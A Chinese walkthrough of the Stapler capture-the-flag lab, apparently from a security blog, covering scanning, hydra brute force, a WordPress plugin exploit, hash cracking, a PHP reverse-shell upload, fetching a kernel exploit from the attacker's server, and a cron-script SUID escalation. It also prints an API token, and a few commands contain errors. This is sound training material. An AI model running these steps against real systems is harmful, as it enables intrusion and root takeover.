一、主机发现
使用
arp-scan -l
查找靶机ip地址
二、进行端口扫描、目录枚举、指纹识别
1.端口扫描
nmap 192.168.55.158
2.目录枚举
dirb http://192.168.55.158
枚举出两个文件路径,在浏览器打开后下载了两个文件,可能后续有用
3.指纹识别
常用命令:
nmap 192.168.55.158 -sV -sC -O --version-all
三、进入靶机网页进行信息收集
此靶机的网页没有有用信息,此时可以从信息收集找到的可用端口进行利用
四、利用ftp端口继续进行信息收集
ftp 192.168.55.158
用户:Anonymous
密码直接回车即可
直接登陆进入
进入后ls,发现有一个note文件
get note
将文件下载到本地查看
没什么特别多有用的信息,其中的Elly和John有可能是后续要用到的用户名
五、使用enum4linux进行信息收集
enum4linux:enum4linux是Kali Linux自带的一款信息收集工具。
它可以收集Windows系统的大量信息,如用户名列表、主机列表、
共享列表、密码策略信息、工作组和成员信息、主机信息、打印机信息等等
enum4linux -a ip #做所有简单枚举(-U -S -G -P -r -o -n -i),
如果您没有提供任何其他选项,则启用此选项
enum4linux -l ip #通过LDAP 389 / TCP获取一些(有限的)信息(仅适用于DN)
enum4linux -o ip #获取操作系统信息
enum4linux -r ip #通过RID循环枚举用户
这里使用以下命令进行信息收集
enum4linux -a 192.168.55.158
发现有两个共享文件和大量用户名,我们收集用户名,放入一个文件夹中。
S-1-22-1-1000 Unix Userpeter (Local User)
S-1-22-1-1001 Unix UserRNunemaker (Local User)
S-1-22-1-1002 Unix UserETollefson (Local User)
S-1-22-1-1003 Unix UserDSwanger (Local User)
S-1-22-1-1004 Unix UserAParnell (Local User)
S-1-22-1-1005 Unix UserSHayslett (Local User)
S-1-22-1-1006 Unix UserMBassin (Local User)
S-1-22-1-1007 Unix UserJBare (Local User)
S-1-22-1-1008 Unix UserLSolum (Local User)
S-1-22-1-1009 Unix UserIChadwick (Local User)
S-1-22-1-1010 Unix UserMFrei (Local User)
S-1-22-1-1011 Unix UserSStroud (Local User)
S-1-22-1-1012 Unix UserCCeaser (Local User)
S-1-22-1-1013 Unix UserJKanode (Local User)
S-1-22-1-1014 Unix UserCJoo (Local User)
S-1-22-1-1015 Unix UserEeth (Local User)
S-1-22-1-1016 Unix UserLSolum2 (Local User)
S-1-22-1-1017 Unix UserJLipps (Local User)
S-1-22-1-1018 Unix Userjamie (Local User)
S-1-22-1-1019 Unix UserSam (Local User)
S-1-22-1-1020 Unix UserDrew (Local User)
S-1-22-1-1021 Unix Userjess (Local User)
S-1-22-1-1022 Unix UserSHAY (Local User)
S-1-22-1-1023 Unix UserTaylor (Local User)
S-1-22-1-1024 Unix Usermel (Local User)
S-1-22-1-1025 Unix Userkai (Local User)
S-1-22-1-1026 Unix Userzoe (Local User)
S-1-22-1-1027 Unix UserNATHAN (Local User)
S-1-22-1-1028 Unix Userwww (Local User)
S-1-22-1-1029 Unix Userelly (Local User)
使用cut命令进行提取用户名
vi user.txt
cat user.txt | cut -d '' -f2 | cut -d ' ' -f1 > user.txt
利用cut命令对数据进行整理,提取我们需要的部分
六、漏洞利用进入ssh
使用hydra进行爆破,成功爆破出一组ssh的账号密码以及一组ftp的账号密码。
hydra -L user.txt -P user.txt 192.168.55.158 ssh
[22][ssh] host: 192.168.55.158 login: SHayslett password: SHayslett
hydra -L user.txt -P user.txt 192.168.55.158 ftp
[21][ftp] host: 192.168.55.158 login: SHayslett password: SHayslett
此时就可以成功进入ssh,等等统一进行提权
七、进入12380端口进行信息收集(这里换靶机了,之前的靶机端口少了一点)
12380端口存在新的信息,可以使用工具进行扫描一下
nikto -h http://192.168.55.158:12380/
发现该网站启用了ssl协议,并且开启找到了两个目录路径
admin112233
blogblog
admin112233路径是空的,blogblog里面存在信息
这个站是wordpress的,可以使用wpscan进行扫描
wpscan --url https://192.168.55.158:12380/blogblog/ -e u --api-token rXPAHHYlLrF3xr50aaaFKWdIsNckML8Oqhr7sCpdJqQ --disable-tls-checks
--disable-tls-checks 正常情况下wpscan只能扫描http,加这个命令可以让它扫描https
--api-token 使用接口,需要我们登入wpscan官网注册
-e 爆破用户名
-o 输出文件
-t 最大线程
-P 密码本
-U 用户本
注意:没注册的小伙伴可以直接如下访问,会有报错让我们去官网注册。
wpscan --url https://192.168.55.158:12380/blogblog/ --disable-tls-checks
扫描出了几个敏感路径
https://192.168.55.158:12380/blogblog/wp-login.php?action=register
https://192.168.55.158:12380/blogblog/wp-content/uploads/
访问https://192.168.55.158:12380/blogblog/wp-content/uploads/
Parent Directory -> plugins -> advanced-video-embed-embed-videos-or-playlists/
https://192.168.1.24:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/
这里存在问题,使用google进行搜索
尝试使用这个exp,查看漏洞详细信息,这个漏洞可以直接返回数据库的账号密码。
以下的kali中的复现过程:
searchsploit 39646
locate php/webapps/39646.py
cp /usr/share/exploitdb/exploits/php/webapps/39646.py .
vi 39646.py
python 39646.py
import ssl
ssl._create_default_https_context = ssl._create_unverified_context
https://192.168.1.24:12380/blogblog/
如下修改一下配置,因为原本的poc是只能用于http,我们这里使用的https,所以需要对poc进行一下修改。
修改完之后,直接运行poc,然后我们去访问上传地址发现多了一个文件
https://192.168.1.24:12380/blogblog/wp-content/uploads/
将图片下载到本地
wget https://192.168.55.158:12380/blogblog/wp-content/uploads/573090841.jpeg --no-check-certificate
file 573090841.jpeg
然后对文件进行分析,发现是一个php文件,打开看一下ls
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'plbkac');
账号:root 密码:plbkac
接下来我们可以尝试连接数据库
mysql -uroot -pplbkac -h 192.168.1.24
show databases;
use wordpress
show tables;
desc wp_users;
select user_login,user_pass from wp_users;
我们发现这个账号密码是通过加密的。我们可以复制出来整理
+------------+------------------------------------+
| user_login | user_pass |
+------------+------------------------------------+
| John | $P$B7889EMq/erHIuZapMB8GEizebcIy9. |
| Elly | $P$BlumbJRRBit7y50Y17.UPJ/xEgv4my0 |
| Peter | $P$BTzoYuAFiBA5ixX2njL0XcLzu67sGD0 |
| barry | $P$BIp1ND3G70AnRAkRY41vpVypsTfZhk0 |
| heather | $P$Bwd0VpK8hX4aN.rZ14WDdhEIGeJgf10 |
| garry | $P$BzjfKAHd6N4cHKiugLX.4aLes8PxnZ1 |
| harry | $P$BqV.SQ6OtKhVV7k7h1wqESkMh41buR0 |
| scott | $P$BFmSPiDX1fChKRsytp1yp8Jo7RdHeI1 |
| kathy | $P$BZlxAMnC6ON.PYaurLGrhfBi6TjtcA0 |
| tim | $P$BXDR7dLIJczwfuExJdpQqRsNf.9ueN0 |
| ZOE | $P$B.gMMKRP11QOdT5m1s9mstAUEDjagu1 |
| Dave | $P$Bl7/V9Lqvu37jJT.6t4KWmY.v907Hy. |
| Simon | $P$BLxdiNNRP008kOQ.jE44CjSK/7tEcz0 |
| Abby | $P$ByZg5mTBpKiLZ5KxhhRe/uqR.48ofs. |
| Vicki | $P$B85lqQ1Wwl2SqcPOuKDvxaSwodTY131 |
| Pam | $P$BuLagypsIJdEuzMkf20XyS5bRm00dQ0 |
+------------+------------------------------------+
vi sql.txt
awk -F'|''{print $3}' sql.txt > sql1.txt 利用正则选出我们需要的部分
hash-identifier
$P$BlumbJRRBit7y50Y17.UPJ/xEgv4my0
任意用一个密码去看这是什么加密
发现是md5加密,尝试进行解密
john --wordlist=/usr/share/wordlists/rockyou.txt sql1.txt
cd ~/.john
vi john.pot
经过尝试,发现只有一组能够进去
账号:john
密码:incorrect
找到wordpress的后台https://192.168.55.158:12380/blogblog/wp-login.php
网站中的Plugins-> add New ->upload Plugin :存在上传文件
locate php-reverse-shell.php
cp /usr/share/webshells/php/php-reverse-shell.php .
下载默认的php木马到本地
vi php-reverse-shell.php
nc -vlp 1234 kali监听
监听后去点击上传的文件:https://192.168.55.158:12380/blogblog/wp-content/uploads/
只需要修改一处反弹地址,点击文件后监听成功。
八、内核提权
任意进入一个shell
uname -a 查看系统版本内核
searchsploit Linux Kernel 4.4.x 根据版本内核找到可以利用的exp
cp /usr/share/exploitdb/exploits/linux/local/39772.txt . 将exp下载到本地
我们看内容发现利用不了,只是给了我们方法
我们接下来去网上去寻找exp,在github上找到了
exp下载地址:
https://github.com/p4sschen/ubuntu16-39772.zip-exp.git
解压之后有个39772.zip文件,我们将39772.zip下载到靶机中去
通过python开通服务
kali:
python -m http.server 8001
靶机:
cd /tmp
wget http://192.168.1.12:8001/39772.zip
unzip 39772.zip 解压
cd 39772 进入文件夹
tar xvf exploit.tar 解压其中一个文件
cd ebpf_mapfd_doubleput_exploit 是存在compile.sh文件的
chmod +x compile.sh 给文件权限
./compile.sh 生成一个文件doubleput
ls
./doubleput 执行文件,等待一会
成功获得root权限
九、计划写入文件提权
一般我们找不到内核提权或者一些简单的提权方式的时候,我们可以写入定时任务,我们找定时任务的时候还得找权限高的定时任务,不然反弹到了权限也没什么用。
find / -name cronlog 2>/dev/null ---查看计划任务日志信息
find / -writable 2>/dev/null ---枚举所有可写入权限的文件
find / -perm -o+w -type f 2> /dev/null | grep /proc -v ---枚举
find / -name logrotate* 2>/dev/null ----查找和logrotate相关的文件信息
cat /etc/cron.d/logrotate
*/5 * * * * root /usr/local/sbin/cron-logrotate.sh
每五分钟运行一次cron-logrotate.sh!
插入代码:
echo"cp /bin/dash /tmp/exploit; chmod u+s /tmp/exploit;chmod root:root /tmp/exploit" >> /usr/local/sbin/cron-logrotate.sh
cat /usr/local/sbin/cron-logrotate.sh
等待五分钟.......
/tmp/exploit -p
提权成功
原文始发于微信公众号(泷羽Sec-pp502的安全笔记):Stapler靶机详细教学
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论